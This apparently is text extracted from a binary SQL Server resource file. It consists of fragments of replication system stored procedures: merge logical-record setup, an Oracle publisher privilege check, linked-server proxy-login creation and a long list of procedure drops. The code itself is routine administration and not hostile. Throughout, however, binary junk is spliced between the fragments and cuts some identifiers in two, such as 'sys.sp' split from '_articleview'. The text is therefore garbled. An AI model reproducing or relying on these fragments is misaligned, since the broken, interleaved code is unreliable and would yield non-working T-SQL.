    -- is db_owner as well. Thus, we now also test for db_owner.
    if  1 <> is_member ('db_owner')  
    begin
        raiserror(15247,-1,-1)
        return 1
    end

    select @publication = name from dbo.sysmergepublications where pubid = @pubid
    if @publication is null
    begin
        return (1)
    end
    
    if not exists (select * from dbo.sysmergesubsetfilters 
                    where (filter_type & 2) = 2
                    and pubid = @pubid)
    begin
        if not exists (select * from dbo.sysmergesubsetfilters 
                    where (filter_type & 2) = 2)
        begin
            IF EXISTS (SELECT * FROM sys.indexes WHERE name = 'nc6MSmerge_contents' 
                AND object_id = OBJECT_ID('MSmerge_contents'))    
                drop index dbo.MSmerge_contents.nc6MSmerge_contents
            
            IF EXISTS (SELECT * FROM sys.indexes WHERE name = 'nc3MSmerge_tombstone' 
                AND object_id = OBJECT_ID('MSmerge_tombstone'))    
                drop index dbo.MSmerge_tombstone.nc3MSmerge_tombstone
        end
        return 0
    end
    
    IF NOT EXISTS (SELECT * FROM sys.indexes WHERE name = 'nc6MSmerge_contents' 
            AND object_id = OBJECT_ID('MSmerge_contents'))    
        create index nc6MSmerge_contents on dbo.MSmerge_contents(logical_record_parent_rowguid)
        
    IF NOT EXISTS (SELECT * FROM sys.indexes WHERE name = 'nc3MSmerge_tombstone' 
            AND object_id = OBJECT_ID('MSmerge_tombstone'))    
        create index nc3MSmerge_tombstone on dbo.MSmerge_tombstone(logical_record_parent_rowguid)
    
    exec @retcode = sys.sp_MSdetermine_logical_record_parents @pubid
    if @@ERROR <>0 OR @retcode <>0 return (1)
    
    set @progress        = 1
    set @article_level    = 0
        
    while @progress > 0
    BEGIN
        /*
        ** Select articles that have either a boolean_filter or at least one join filter 
        ** into a temp table in an optimized order.
        */
        -- This inserts into @articles the article levels of all articles.
        insert into @articles(art_nick, article_level) select nickname, @article_level from dbo.sysmergearticles 
            where pubid=@pubid and nickname not in (select art_nick from @articles)
                and nickname not in 
                (select     art_nickname from dbo.sysmergesubsetfilters
                    where pubid=@pubid and join_nickname not in 
                        (select art_nick from @articles))

        set @progress = @@rowcount
        select @article_level = @article_level + 1
    END

    set @art_index = 0
    select @art_index = min(indexcol) from @articles where indexcol > @art_index

    while (@art_index is not null)
    begin
        select @art_nick=art_nick, @article_level = article_level from @articles
                where indexcol = @art_index
        
        if exists (select * from dbo.sysmergesubsetfilters 
                    where (filter_type & 2) = 2
                    and (join_nickname = @art_nick or art_nickname = @art_nick))
        begin
            exec @retcode = sys.sp_MScreate_article_logical_record_views @art_nick
            if @retcode <> 0 or @@error <> 0 return 1
        end
   
        select @art_index = min(indexcol) from @articles where indexcol > @art_index
    end

    return (0)

NONYM'''', ' +
		N' ''''CREATE SESSION'''', ' +
		N' ''''CREATE TABLE'''', ' +
		N' ''''CREATE VIEW'''', ' +
		N' ''''CREATE ANY TRIGGER'''') ' +
		N'UNION ' +
		-- Check to make certain that some grants were made explicitly to admin user or PUBLIC
		N'SELECT ''''EXP'''', COUNT(*) ' +
		N'FROM USER_SYS_PRIVS RSP ' +
		N'WHERE RSP.PRIVILEGE IN ' +
		N'(''''CREATE TABLE'''', ' +
		N'''''CREATE VIEW'''', ' +
		N'''''CREATE ANY TRIGGER'''') ' +
		N'AND (RSP.USERNAME = USER OR RSP.USERNAME = ''''PUBLIC'''') ' +
		N'UNION ' +
		-- Check to for allocated quota in some tablespace	
		N'SELECT ''''QTA'''', COUNT(*) ' +
		N'FROM USER_TS_QUOTAS UQ ' +
		N'WHERE UQ.MAX_BYTES IS NOT NULL ' +
		N'AND NOT UQ.MAX_BYTES = 0 ' +
		N'UNION ' +
		-- Check for 'PUBLIC' has been explicitly granted 'UNLIMITED TABLESPACE'
		N'SELECT ''''UPT'''', COUNT(*) ' +
		N'FROM USER_SYS_PRIVS RSP ' +
		N'WHERE RSP.PRIVILEGE = ''''UNLIMITED TABLESPACE'''' ' +
		N'AND (RSP.USERNAME = USER OR RSP.USERNAME = ''''PUBLIC'''')'')' 

	EXEC (@command)
	IF  @@error <> 0
	BEGIN
		RAISERROR (21683, 16, -1, @publisher)
		RETURN (1)
	END

	-- Verify grant checks
	-- 1.  All required privileges (8)
	-- 2.  Explicit privileges (3)
	-- 3.  Quota space or unlimited tablespace
	SELECT	@grantsCheck =	CASE
					WHEN	(G1.value = 8) AND
						(G2.value = 3) AND
						(
							(G3.value > 0) OR
							(G4.value = 1)
						) THEN 1
					ELSE	0
				END
	FROM	#grants G1,
		#grants G2,
		#grants G3,
		#grants G4
	WHERE	G1.gcheck = 'ALL'
	  AND	G2.gcheck = 'EXP'
	  AND	G3.gcheck = 'QTA'
	  AND	G4.gcheck = 'UPT'

	IF @grantsCheck <> 1
	BEGIN
		RAISERROR (21684, 16, -1, @publisher)
		RETURN (1)
	END

	RETURN (0)
END
0 D8bh
"~
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(7D9v`create procedure sys.sp_MSprocesspublisherlink 
(
    @mode tinyint                            -- 1 = create/refresh, 2 = drop
    ,@islocalpub bit                          -- 1 = local, 0 = remote
    ,@securitymode tinyint                -- 0 = standard, 1 = integrated
    ,@linkname sysname = null         -- name of the linked server 
    ,@remserver sysname = null       -- remote server name
    ,@remlogin sysname = null          -- remote login. Not needed for dropping 
    ,@rempassword sysname = null   -- remote password. Not needed for dropping
)
with execute as 'dbo'
as
begin
    set nocount on
    declare @retcode int = 0
                ,@localproxy sysname
                ,@localpwd sysname
                ,@cmd nvarchar(4000)

    --
    -- validate @mode
    --
    if (@mode not in (1,2))
    begin
        raiserror(21055, 16, -1, '@mode','sp_MSprocesspublisherlink')
        return (1)
    end
    --
    -- validate @securitymode
    --
    if (@securitymode not in (0,1))
    begin
        raiserror(21055, 16, -1, '@securitymode','sp_MSprocesspublisherlink')
        return (1)
    end
    if (@islocalpub = 0) and (@linkname is null or @remserver is null)
        return 1
    --
    -- initialize we always will use uppercase entries for replication metadata
    --
    select @linkname = upper(@linkname)
            ,@remserver = upper(@remserver)
            ,@localproxy = 'repllinkproxy'
            ,@localpwd = cast(newid() as sysname)
    --
    -- processing remote case
    --
    if (@islocalpub = 0)
    begin
        --
        -- Drop linker server entry if exists
        --
        if exists (select * from sys.servers 
                where upper(name collate database_default) = @linkname and upper(data_source collate database_default) = @remserver)
        begin
            exec @retcode = sp_dropserver @server = @linkname, @droplogins = 'droplogins'
            if @@error <> 0 or @retcode <> 0
                return(1)
        end
    end
    --
    -- create if necessary
    --
    if (@mode = 1)
    begin
        if (@islocalpub = 0)
        begin
            --
            -- validate remote login for SQL Authentication
            --
            if (@securitymode = 0 and @remlogin is null)
            begin
                raiserror(21055, 16, -1, '@remlogin','@securitymode = 0')
                return (1)
            end
            --
            -- create the linked server entry
            --
            exec @retcode = sp_addlinkedserver @server = @linkname, @srvproduct = 'SQL Server'
            if @@error <> 0 or @retcode <> 0
                return(1)
            --
            -- Set the data source name
            --
            exec @retcode = sys.sp_setnetname  @linkname, @remserver
            if @@error <> 0 or @retcode <> 0
                goto UNDO
            --
            -- set the properties for the linked server so that it can be used by replication
            --
            exec @retcode = sys.sp_serveroption @linkname, 'data access', 'true'
            if @@error <> 0 or @retcode <> 0
                goto UNDO
            exec @retcode = sys.sp_serveroption @linkname, 'rpc', 'true'
            if @@error <> 0 or @retcode <> 0
                goto UNDO
            exec @retcode = sys.sp_serveroption @linkname, 'rpc out', 'true'
            if @@error <> 0 or @retcode <> 0
                goto UNDO
            --
            -- drop the default login mapping
            --
            exec sp_droplinkedsrvlogin @rmtsrvname = @linkname, @locallogin = null
        end  -- if (@islocalpub = 0)
        --
        -- Add login mapping for this link now
        -- process according to security mode
        --
        if (@securitymode = 0)
        begin
            --
            -- Standard SQL authentication
            -- we will always map local proxy login to the remote server login.
            -- This local proxy login is not meant for external use and hence 
            -- the password is random.
            --
            --
            -- create the local proxy login if needed
            --
            if not exists (select * from master.dbo.syslogins where loginname = @localproxy)
            begin
                if (@@microsoftversion >= 0x09000389)
                begin
                    select @cmd = N'create login ' + quotename(@localproxy) + N' with password = N''' + @localpwd + N''''
                    exec sp_executesql @cmd
                end
                else
                begin
                    exec @retcode = sys.sp_addlogin @loginame = @localproxy, @passwd = @localpwd
                end
                if @@error <> 0 or @retcode <> 0
                    goto UNDO
            end
            --
            -- create the local proxy user if necessary (dbowner group member 
            -- since we do not know which tables will be updated)
            --
            if exists (select * from sys.database_principals where name = @localproxy)
            begin
                exec @retcode =sys.sp_addrolemember @rolename = 'db_owner'
                                                                        , @membername = @localproxy 
            end
            else
            begin
                if (@@microsoftversion >= 0x09000389)
                begin
                    select @cmd = N'create user ' + quotename(@localproxy) + N' for login ' + quotename(@localproxy)
                    exec sp_executesql @cmd
                    -- we also need to add them as a db_owner
                    exec @retcode =sys.sp_addrolemember @rolename = 'db_owner'
                                                                        , @membername = @localproxy 
                end
                else
                begin
                    exec @retcode = sys.sp_adduser @loginame = @localproxy 
                                                                ,@name_in_db = @localproxy
                                                                ,@grpname = 'db_owner'
                end
            end
            if @@error <> 0 or @retcode <> 0
                goto UNDO

            if (@islocalpub = 0)
            begin
                --
                -- map the remote login to the proxy local login
                --
                exec @retcode = sp_addlinkedsrvlogin @rmtsrvname = @linkname 
                                                            ,@useself = 'false' -- we will use specific remote login
                                                            ,@locallogin = @localproxy -- only this login can use it
                                                            ,@rmtuser = @remlogin 
                                                            ,@rmtpassword = @rempassword 
                if @@error <> 0 or @retcode <> 0
                    goto UNDO
            end  -- if (@islocalpub = 0)
        end
        else
        begin
            if (@islocalpub = 0)
            begin
                --
                -- Integrated authentication
                -- we will always map self login to the remote machine
                --
                exec @retcode = sp_addlinkedsrvlogin @rmtsrvname = @linkname 
                                                            ,@useself = 'true' -- we will use self credentials
                if @@error <> 0 or @retcode <> 0
                    goto UNDO
            end  -- if (@islocalpub = 0)
        end
    end
    --
    -- all done
    --
    return 0

UNDO:
    if (@islocalpub = 0)
    begin
        --
        -- drop the server if we have created one
        --
        if exists (select * from sys.servers 
                where upper(name collate database_default) = @linkname and upper(data_source collate database_default) = @remserver)
       !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(9v<jcreate procedure sys.sp_MSdrop_repltran
as

   if object_id(N'sys.sp_MSsetfilterparent', 'P') is not null
		drop procedure sys.sp_MSsetfilterparent

    if object_id(N'sys.sp_MSdoesfilterhaveparent', 'P') is not null
		drop procedure sys.sp_MSdoesfilterhaveparent

    if object_id(N'sys.sp_MSsetfilteredstatus', 'P') is not null
		drop procedure sys.sp_MSsetfilteredstatus

    if object_id(N'sys.sp_MSreplsup_table_has_pk', 'P') is not null
		drop procedure sys.sp_MSreplsup_table_has_pk

    if object_id(N'sys.sp_MScreate_pub_tables', 'P') is not null
		drop procedure sys.sp_MScreate_pub_tables

    if object_id(N'sys.sp_MStran_ddlrepl', 'P') is not null
		drop procedure sys.sp_MStran_ddlrepl

    if object_id(N'sys.sp_MStran_altertable', 'P') is not null
		drop procedure sys.sp_MStran_altertable

    if object_id(N'sys.sp_MStran_alterview', 'P') is not null
		drop procedure sys.sp_MStran_alterview

    if object_id(N'sys.sp_MStran_alterschemaonly', 'P') is not null
		drop procedure sys.sp_MStran_alterschemaonly

    if object_id(N'sys.sp_MStran_altertrigger', 'P') is not null
		drop procedure sys.sp_MStran_altertrigger

    if object_id(N'sys.sp_MSdrop_expired_subscription', 'P') is not null
		drop procedure sys.sp_MSdrop_expired_subscription

    if object_id(N'sys.sp_MShelp_subscription_status', 'P') is not null
		drop procedure sys.sp_MShelp_subscription_status
    
    if object_id(N'sys.sp_replsync', 'P') is not null
		drop procedure sys.sp_replsync

    if object_id(N'sys.sp_enumfullsubscribers', 'P') is not null
		drop procedure sys.sp_enumfullsubscribers
    
    if object_id(N'sys.sp_MSrepl_enumfullsubscribers', 'P') is not null
		drop procedure sys.sp_MSrepl_enumfullsubscribers

    if object_id(N'sys.sp_MSaddexecarticle', 'P') is not null
		drop procedure sys.sp_MSaddexecarticle

    if object_id(N'sys.fn_replgetNumMergesubscriptionsOnPublication', 'FN') is not null
		drop function sys.fn_replgetNumMergesubscriptionsOnPublication
		
    if object_id(N'sys.fn_replgetNumMergesubscriptionsNowSyncingOnPublication', 'FN') is not null
		drop function sys.fn_replgetNumMergesubscriptionsNowSyncingOnPublication
		
    if object_id(N'sys.fn_replgetNumOfErrorsMergesubscriptionsOnPublication', 'FN') is not null
		drop function sys.fn_replgetNumOfErrorsMergesubscriptionsOnPublication
		
    if object_id(N'sys.fn_replgetNumOfWarningsMergesubscriptionsOnPublication', 'FN') is not null
		drop function sys.fn_replgetNumOfWarningsMergesubscriptionsOnPublication
		
    if object_id(N'sys.fn_replgetWorstWarningDurationMergesubscriptionsOnPublication', 'FN') is not null
		drop function sys.fn_replgetWorstWarningDurationMergesubscriptionsOnPublication
		
    if object_id(N'sys.fn_replgetWorstWarningExpirationMergesubscriptionsOnPublication', 'FN') is not null
		drop function sys.fn_replgetWorstWarningExpirationMergesubscriptionsOnPublication

    if object_id(N'sys.fn_replgetpublicationthreshold', 'FN') is not null
		drop function sys.fn_replgetpublicationthreshold

    if object_id(N'sys.fn_repltagcustomproc', 'FN') is not null
		drop function sys.fn_repltagcustomproc
		
    if object_id(N'sys.fn_repltranquotecustomproc', 'FN') is not null
		drop function sys.fn_repltranquotecustomproc

	if object_id(N'sys.fn_MSrepltranparsecmdtype') is not null
		drop function sys.fn_MSrepltranparsecmdtype
		
	if object_id(N'sys.fn_basecolsofcomputedpkcol') is not null
		drop function sys.fn_basecolsofcomputedpkcol

    if object_id(N'sys.fn_ispkcomputed') is not null
        drop function sys.fn_ispkcomputed

    if object_id(N'sys.fn_fcomputedpkimprecise') is not null
		drop function sys.fn_fcomputedpkimprecise

    if object_id(N'sys.fn_ftableivprocexec') is not null
		drop function sys.fn_ftableivprocexec

    if object_id(N'sys.fn_isxmlcolumn', 'FN') is not null
        drop function sys.fn_isxmlcolumn

	IF OBJECT_ID('sys.dm_repl_articles', 'IF') IS NOT NULL
		DROP function sys.dm_repl_articles

	IF OBJECT_ID('sys.dm_repl_schemas', 'IF') IS NOT NULL
		DROP function sys.dm_repl_schemas

	IF OBJECT_ID('sys.dm_repl_tranhash', 'IF') IS NOT NULL
		DROP function sys.dm_repl_tranhash

	IF OBJECT_ID('sys.dm_repl_traninfo', 'IF') IS NOT NULL
		DROP function sys.dm_repl_traninfo

	IF OBJECT_ID('sys.dm_repl_articles', 'V') IS NOT NULL
		DROP view sys.dm_repl_articles

	IF OBJECT_ID('sys.dm_repl_schemas', 'V') IS NOT NULL
		DROP view sys.dm_repl_schemas

	IF OBJECT_ID('sys.dm_repl_tranhash', 'V') IS NOT NULL
		DROP view sys.dm_repl_tranhash

	IF OBJECT_ID('sys.dm_repl_traninfo', 'V') IS NOT NULL
		DROP view sys.dm_repl_traninfo

    if object_id(N'sys.sp_MSSetLogForRepl', 'P') is not null
		drop procedure sys.sp_MSSetLogForRepl

    if object_id(N'sys.sp_addarticle', 'P') is not null
		drop procedure sys.sp_addarticle

    if object_id(N'sys.sp_MSrepl_addarticle', 'P') is not null
		drop procedure sys.sp_MSrepl_addarticle

    if object_id(N'sys.sp_IHaddarticle', 'P') is not null
		drop procedure sys.sp_IHaddarticle

    if object_id(N'sys.sp_IHsyncmetadata', 'P') is not null
        drop procedure sys.sp_IHsyncmetadata

    if object_id(N'sys.sp_IHflushmetadata', 'P') is not null
        drop procedure sys.sp_IHflushmetadata

    if object_id(N'sys.sp_checkOraclepackageversion', 'P') is not null
        drop procedure sys.sp_checkOraclepackageversion

    if object_id(N'sys.sp_MSrepl_checkOraclepackageversion', 'P') is not null
        drop procedure sys.sp_MSrepl_checkOraclepackageversion

    if object_id(N'sys.sp_setOraclepackageversion', 'P') is not null
        drop procedure sys.sp_setOraclepackageversion

    if object_id(N'sys.sp_MSrepl_setOraclepackageversion', 'P') is not null
        drop procedure sys.sp_MSrepl_setOraclepackageversion

    if object_id(N'sys.sp_getOraclepackageversion', 'P') is not null
        drop procedure sys.sp_getOraclepackageversion

    if object_id(N'sys.sp_MSrepl_getOraclepackageversion', 'P') is not null
        drop procedure sys.sp_MSrepl_getOraclepackageversion

    if object_id(N'sys.sp_MSaddschemaarticle', 'P') is not null
		drop procedure sys.sp_MSaddschemaarticle

    if object_id(N'sys.sp_MSchangeschemaarticle', 'P') is not null
		drop procedure sys.sp_MSchangeschemaarticle

    if object_id(N'sys.sp_MSgettranconflictname', 'P') is not null
		drop procedure sys.sp_MSgettranconflictname

    if object_id(N'sys.sp_MSretrieve_publication', 'P') is not null
		drop procedure sys.sp_MSretrieve_publication

    if object_id(N'sys.sp_MSmaketrancftproc', 'P') is not null
		drop procedure sys.sp_MSmaketrancftproc

    if object_id(N'sys.sp_articlecolumn', 'P') is not null
		drop procedure sys.sp_articlecolumn

    if object_id(N'sys.sp_MSrepl_articlecolumn', 'P') is not null
		drop procedure sys.sp_MSrepl_articlecolumn
    
    if object_id(N'sys.sp_IHarticlecolumn', 'P') is not null
		drop procedure sys.sp_IHarticlecolumn

    if object_id(N'sys.sp_IHarticleview', 'P') is not null
		drop procedure sys.sp_IHarticleview

    if object_id(N'sys.sp_changearticlecolumndatatype', 'P') is not null
		drop procedure sys.sp_changearticlecolumndatatype

    if object_id(N'sys.sp_MSrepl_changearticlecolumndatatype', 'P') is not null
		drop procedure sys.sp_MSrepl_changearticlecolumndatatype

    if object_id(N'sys.sp_articlefilter', 'P') is not null
		drop procedure sys.sp_articlefilter

    if object_id(N'sys.sp_MSrepl_articlefilter', 'P') is not null
		drop procedure sys.sp_MSrepl_articlefilter

    if object_id(N'sys.sp_MSarticlecol', 'P') is not null
		drop procedure sys.sp_MSarticlecol

    if object_id(N'sys.sp_MSarticlecolstatus', 'P') is not null
		drop procedure sys.sp_MSarticlecolstatus
    
    if object_id(N'sys.sp_MSscript_article_view', 'P') is not null
		drop procedure sys.sp_MSscript_article_view

    if object_id(N'sys.sp_articleview', 'P') is not null
		drop procedure sys.sp!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(9Mv<j_articleview
    
    if object_id(N'sys.sp_MSrepl_articleview', 'P') is not null
		drop procedure sys.sp_MSrepl_articleview    

    if object_id(N'sys.sp_MSget_latest_peerlsn') is not null
        drop procedure sys.sp_MSget_latest_peerlsn

    if object_id(N'sys.sp_addpublication', 'P') is not null
		drop procedure sys.sp_addpublication
    
    if object_id(N'sys.sp_MSrepl_addpublication', 'P') is not null
		drop procedure sys.sp_MSrepl_addpublication

	if object_id(N'sys.sp_IHaddpublication', 'P') is not null
		drop procedure sys.sp_IHaddpublication

    if object_id(N'sys.sp_addsubscription', 'P') is not null
		drop procedure sys.sp_addsubscription
    
    if object_id(N'sys.sp_MSrepl_addsubscription', 'P') is not null
		drop procedure sys.sp_MSrepl_addsubscription

    if object_id(N'sys.sp_MSrepl_addsubscription_article', 'P') is not null
		drop procedure sys.sp_MSrepl_addsubscription_article

    if object_id(N'sys.sp_changearticle', 'P') is not null
		drop procedure sys.sp_changearticle
    
    if object_id(N'sys.sp_MSrepl_changearticle', 'P') is not null
		drop procedure sys.sp_MSrepl_changearticle
    
    if object_id(N'sys.sp_changepublication', 'P') is not null
		drop procedure sys.sp_changepublication
    
    if object_id(N'sys.sp_MSrepl_changepublication', 'P') is not null
		drop procedure sys.sp_MSrepl_changepublication

    if object_id(N'sys.sp_changesubscription', 'P') is not null
		drop procedure sys.sp_changesubscription

    if object_id(N'sys.sp_MSrepl_changesubscription', 'P') is not null
		drop procedure sys.sp_MSrepl_changesubscription

	if object_id(N'sys.sp_enable_heterogeneous_subscription', 'P') is not null
		drop procedure sys.sp_enable_heterogeneous_subscription
    
    if object_id(N'sys.sp_MSrepl_enable_heterogeneous_subscription', 'P') is not null
		drop procedure sys.sp_MSrepl_enable_heterogeneous_subscription
		
    if object_id(N'sys.sp_MSrepl_enable_articles_for_het_sub', 'P') is not null
		drop procedure sys.sp_MSrepl_enable_articles_for_het_sub

    if object_id(N'sys.sp_MShcchangesubstatus1', 'P') is not null
		drop procedure sys.sp_MShcchangesubstatus1
    
    if object_id(N'sys.sp_MShcchangesubstatus2', 'P') is not null
		drop procedure sys.sp_MShcchangesubstatus2
    
    if object_id(N'sys.sp_MShcchangesubstatus3', 'P') is not null
		drop procedure sys.sp_MShcchangesubstatus3 

    if object_id(N'sys.sp_changesubstatus', 'P') is not null
		drop procedure sys.sp_changesubstatus

    if object_id(N'sys.sp_MSrepl_changesubstatus', 'P') is not null
		drop procedure sys.sp_MSrepl_changesubstatus

    if object_id(N'sys.sp_droparticle', 'P') is not null
		drop procedure sys.sp_droparticle

    if object_id(N'sys.sp_MSrepl_droparticle', 'P') is not null
		drop procedure sys.sp_MSrepl_droparticle

	if object_id(N'sys.sp_IHdroparticle', 'P') is not null
		drop procedure sys.sp_IHdroparticle

    if object_id(N'sys.sp_droppublication', 'P') is not null
		drop procedure sys.sp_droppublication
    
    if object_id(N'sys.sp_MSrepl_droppublication', 'P') is not null
		drop procedure sys.sp_MSrepl_droppublication

	if object_id(N'sys.sp_IHdroppublication', 'P') is not null
		drop procedure sys.sp_IHdroppublication

    if object_id(N'sys.sp_MSdroptranpalrole', 'P') is not null
        drop procedure sys.sp_MSdroptranpalrole

    if object_id(N'sys.sp_dropsubscription', 'P') is not null
		drop procedure sys.sp_dropsubscription
    
    if object_id(N'sys.sp_MSrepl_dropsubscription', 'P') is not null
		drop procedure sys.sp_MSrepl_dropsubscription    

    if object_id(N'sys.sp_helparticle', 'P') is not null
		drop procedure sys.sp_helparticle

    if object_id(N'sys.sp_MSrepl_helparticlermo', 'P') is not null
		drop procedure sys.sp_MSrepl_helparticlermo

    if object_id(N'sys.sp_MSrepl_helparticle', 'P') is not null
		drop procedure sys.sp_MSrepl_helparticle
    
    if object_id(N'sys.sp_IHhelparticle', 'P') is not null
		drop procedure sys.sp_IHhelparticle   

    if object_id(N'sys.sp_ORAhelparticle', 'P') is not null
		drop procedure sys.sp_ORAhelparticle   

    if object_id(N'sys.sp_helparticlecolumns', 'P') is not null
		drop procedure sys.sp_helparticlecolumns
    
    if object_id(N'sys.sp_MSrepl_snapshot_helparticlecolumns', 'P') is not null
		drop procedure sys.sp_MSrepl_snapshot_helparticlecolumns

    if object_id(N'sys.sp_MSrepl_helparticlecolumns', 'P') is not null
		drop procedure sys.sp_MSrepl_helparticlecolumns

    if object_id(N'sys.sp_helppublication', 'P') is not null
		drop procedure sys.sp_helppublication

    if object_id(N'sys.sp_MSrepl_helppublication', 'P') is not null
		drop procedure sys.sp_MSrepl_helppublication

    if object_id(N'sys.sp_IHhelppublication', 'P') is not null
		drop procedure sys.sp_IHhelppublication
    
    if object_id(N'sys.sp_MSrepl_snapshot_helppublication', 'P') is not null
		drop procedure sys.sp_MSrepl_snapshot_helppublication

    if object_id(N'sys.sp_MSaddpub_snapshot', 'P') is not null
		drop procedure sys.sp_MSaddpub_snapshot
   
	if object_id(N'sys.sp_helpsubscription', 'P') is not null
		drop procedure sys.sp_helpsubscription

	if object_id(N'sys.sp_MSrepl_helpsubscription', 'P') is not null
		drop procedure sys.sp_MSrepl_helpsubscription

    if object_id(N'sys.sp_subscribe', 'P') is not null
		drop procedure sys.sp_subscribe
    
    if object_id(N'sys.sp_unsubscribe', 'P') is not null
		drop procedure sys.sp_unsubscribe

    if object_id(N'sys.sp_refreshsubscriptions', 'P') is not null
		drop procedure sys.sp_refreshsubscriptions

    if object_id(N'sys.sp_MSrepl_refreshsubscriptions', 'P') is not null
		drop procedure sys.sp_MSrepl_refreshsubscriptions

    if object_id(N'sys.sp_MSpublishdb', 'P') is not null
		drop procedure sys.sp_MSpublishdb

    if object_id(N'sys.sp_MSactivate_auto_sub', 'P') is not null
		drop procedure sys.sp_MSactivate_auto_sub

    if object_id(N'sys.sp_MSarticle_synctran_commands', 'P') is not null
		drop procedure sys.sp_MSarticle_synctran_commands

    if object_id(N'sys.sp_MSget_synctran_commands', 'P') is not null
		drop procedure sys.sp_MSget_synctran_commands

    if object_id('sys.sp_MSdrop_pub_tables') is not null
    begin
        -- Don't drop the system tables here. repltran.sql should not
        -- delete any data in the master database.
        -- exec sys.sp_MSdrop_pub_tables
        -- rmak: Once everything is moved to the resource database, the 
        -- above comment shouldn't be applicable anymore, but then again
        -- there is no need to drop any tables in the resource database
        -- either. 
        drop procedure sys.sp_MSdrop_pub_tables
    end

    -- SyncTran
	if object_id(N'sys.sp_MSis_col_replicated', 'P') is not null
		drop procedure sys.sp_MSis_col_replicated

	if object_id(N'sys.fn_MSis_col_replicated', 'FN') is not null
		drop function sys.fn_MSis_col_replicated

	if object_id(N'sys.sp_MSis_pk_col', 'P') is not null
		drop procedure sys.sp_MSis_pk_col

	if object_id(N'sys.sp_MSscript_compensating_send', 'P') is not null
		drop procedure sys.sp_MSscript_compensating_send

	if object_id(N'sys.sp_MSscriptinsertconflictfinder', 'P') is not null
		drop procedure sys.sp_MSscriptinsertconflictfinder

	if object_id(N'sys.sp_MSscript_insert_statement', 'P') is not null
		drop procedure sys.sp_MSscript_insert_statement

	if object_id(N'sys.sp_script_insertforcftresolution', 'P') is not null
		drop procedure sys.sp_script_insertforcftresolution

	if object_id(N'sys.sp_MSscript_insert_subwins', 'P') is not null
		drop procedure sys.sp_MSscript_insert_subwins

	if object_id(N'sys.sp_MSscript_insert_pubwins', 'P') is not null
		drop procedure sys.sp_MSscript_insert_pubwins

	if object_id(N'sys.sp_MSvalidate_subscription', 'P') is not null
		drop procedure sys.sp_MSvalidate_subscription

	if object_id(N'sys.sp_MSscript_update!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(9v<j_statement', 'P') is not null
		drop procedure sys.sp_MSscript_update_statement

	if object_id(N'sys.sp_scriptpubwinsrefreshcursorvars', 'P') is not null
		drop procedure sys.sp_scriptpubwinsrefreshcursorvars

	if object_id(N'sys.sp_MSscript_update_subwins', 'P') is not null
		drop procedure sys.sp_MSscript_update_subwins

	if object_id(N'sys.sp_MSscriptupdateconflictfinder', 'P') is not null
		drop procedure sys.sp_MSscriptupdateconflictfinder

	if object_id(N'sys.sp_MSscript_update_pubwins', 'P') is not null
		drop procedure sys.sp_MSscript_update_pubwins

	if object_id(N'sys.sp_MSscript_delete_statement', 'P') is not null
		drop procedure sys.sp_MSscript_delete_statement

	if object_id(N'sys.sp_MSscript_delete_subwins', 'P') is not null
		drop procedure sys.sp_MSscript_delete_subwins

	if object_id(N'sys.sp_MSscriptdelconflictfinder', 'P') is not null
		drop procedure sys.sp_MSscriptdelconflictfinder

	if object_id(N'sys.sp_MSscript_compensating_insert', 'P') is not null
		drop procedure sys.sp_MSscript_compensating_insert

	if object_id(N'sys.sp_MSscript_delete_pubwins', 'P') is not null
		drop procedure sys.sp_MSscript_delete_pubwins

	if object_id(N'sys.sp_MSscript_beginproc', 'P') is not null
		drop procedure sys.sp_MSscript_beginproc

	if object_id(N'sys.sp_MSscript_endproc', 'P') is not null
		drop procedure sys.sp_MSscript_endproc

	if object_id(N'sys.sp_MStable_not_modifiable', 'P') is not null
		drop procedure sys.sp_MStable_not_modifiable

	if object_id(N'sys.sp_MSscript_ExecutionMode_stmt', 'P') is not null
		drop procedure sys.sp_MSscript_ExecutionMode_stmt

	if object_id(N'sys.sp_MSscript_sync_ins_proc', 'P') is not null
		drop procedure sys.sp_MSscript_sync_ins_proc

	if object_id(N'sys.sp_MSscript_sync_upd_proc', 'P') is not null
		drop procedure sys.sp_MSscript_sync_upd_proc

	if object_id(N'sys.sp_MSscript_sync_del_proc', 'P') is not null
		drop procedure sys.sp_MSscript_sync_del_proc

	if object_id(N'sys.sp_MSscript_pub_upd_trig', 'P') is not null
		drop procedure sys.sp_MSscript_pub_upd_trig

	if object_id(N'sys.sp_MSmakeconflicttable', 'P') is not null
		drop procedure sys.sp_MSmakeconflicttable

	if object_id(N'sys.sp_scriptsubconflicttable', 'P') is not null
		drop procedure sys.sp_scriptsubconflicttable

	if object_id(N'sys.sp_MSgen_sync_tran_procs', 'P') is not null
		drop procedure sys.sp_MSgen_sync_tran_procs

	if object_id(N'sys.sp_MSis_identity_insert', 'P') is not null
		drop procedure sys.sp_MSis_identity_insert

	if object_id(N'sys.sp_MSmark_proc_norepl', 'P') is not null
		drop procedure sys.sp_MSmark_proc_norepl

	if object_id(N'sys.sp_articlesynctranprocs', 'P') is not null
		drop procedure sys.sp_articlesynctranprocs

	if object_id(N'sys.sp_reinitsubscription', 'P') is not null
		drop procedure sys.sp_reinitsubscription

	if object_id(N'sys.sp_MSrepl_reinitsubscription', 'P') is not null
		drop procedure sys.sp_MSrepl_reinitsubscription

    if object_id(N'sys.sp_MSareallcolpkcomputed', 'P') is not null
		drop procedure sys.sp_MSareallcolpkcomputed

    if object_id(N'sys.fn_gettypestring', 'FN') is not null
		drop function sys.fn_gettypestring

	if object_id(N'sys.fn_MSrepl_dependUDT') is not null
		drop function sys.fn_MSrepl_dependUDT

	if object_id(N'sys.fn_MStran_foreignkey') is not null
		drop function sys.fn_MStran_foreignkey

	if object_id(N'sys.fn_MStran_unique', 'FN') is not null
		drop function sys.fn_MStran_unique

    if object_id(N'sys.sp_scriptpkwhereclause', 'P') is not null
		drop procedure sys.sp_scriptpkwhereclause

    if object_id(N'sys.sp_MSscript_missing_row_check', 'P') is not null
		drop procedure sys.sp_MSscript_missing_row_check

    if object_id(N'sys.sp_scriptupdateparams', 'P') is not null
		drop procedure sys.sp_scriptupdateparams

    if object_id(N'sys.sp_scriptreconwhereclause', 'P') is not null
		drop procedure sys.sp_scriptreconwhereclause

    if object_id(N'sys.sp_scriptinsproccore', 'P') is not null
		drop procedure sys.sp_scriptinsproccore

    if object_id(N'sys.sp_script_reconciliation_insproc', 'P') is not null
